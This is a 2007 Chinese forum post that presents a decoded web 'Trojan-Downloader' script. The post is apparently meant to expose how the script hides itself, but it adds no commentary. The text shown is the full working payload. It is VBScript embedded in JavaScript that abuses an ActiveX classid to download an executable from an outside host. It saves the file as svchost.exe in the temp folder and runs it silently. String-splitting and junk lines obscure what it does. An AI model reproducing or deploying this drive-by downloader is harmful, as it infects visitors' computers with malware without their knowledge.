多层网页加密Trojan-Downloader最终还是要现形的
<SCRIPT LANGUAGE="Javascript">
<!--
var Jianbang1989 =" <html>
<script language="VBScript">
on error resume next
m1="object"
m2="classid"
m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
m6="Scripti"&"ng.Fil"&"eSystemObject"
Set XsKjc = document.createElement(m1)
XsKj = "http://dltiantang.com/hah.exe"
XsKjc.setAttribute m2, m3
XsKji=m4
Set XsKjd = XsKjc.CreateObject(XsKji,"")
yhangf="Ado"
yhangg="db."
yhangh="Str"
yhangi="eam"
XsKjf=yhangf&yhangg&yhangh&yhangi
XsKjg=XsKjf
set XsKja = XsKjc.createobject(XsKjg,"")
XsKja.type = 1
XsKjh="G"&"E"&"T"
XsKjd.Open XsKjh, XsKj, False
XsKjd.Send
XsKj9="svchost.exe"
set XsKjb = XsKjc.createobject(m6,"")
set XsKje = XsKjb.GetSpecialFolder(2)
XsKja.open
XsKj8="XsKja.BuildPath(XsKja,XsKj8)"
XsKj7="XsKjb.BuildPath(XsKjb,XsKj7)"
XsKj6="XsKjc.BuildPath(XsKjd,XsKj6)"
XsKj5="XsKjd.BuildPath(XsKjf,XsKj5)"
XsKj4="XsKje.BuildPath(XsKjg,XsKj4)"
XsKj3="XsKjf.BuildPath(XsKjh,XsKj4)"
XsKj2="XsKjg.BuildPath(XsKji,XsKj3)"
XsKj1="XsKjh.BuildPath(XsKjg,XsKj1)"
XsKj0="XsKji.BuildPath(XsKjk,XsKj0)"
XsKj9= XsKjb.BuildPath(XsKje,XsKj9)
XsKja.write XsKjd.responseBody
XsKja.savetofile XsKj9,2
XsKja.close
set XsKje = XsKjc.createobject(m5,"")
XsKje.ShellExecute XsKj9,BBS,BBS,"o"&"p"&"e"&"n",0
</script>
</html>
"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Jianbang1989);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT> |
楼主: sdbsky
发表于 2007-2-3 14:06:16
发表于 2007-2-3 22:59:27
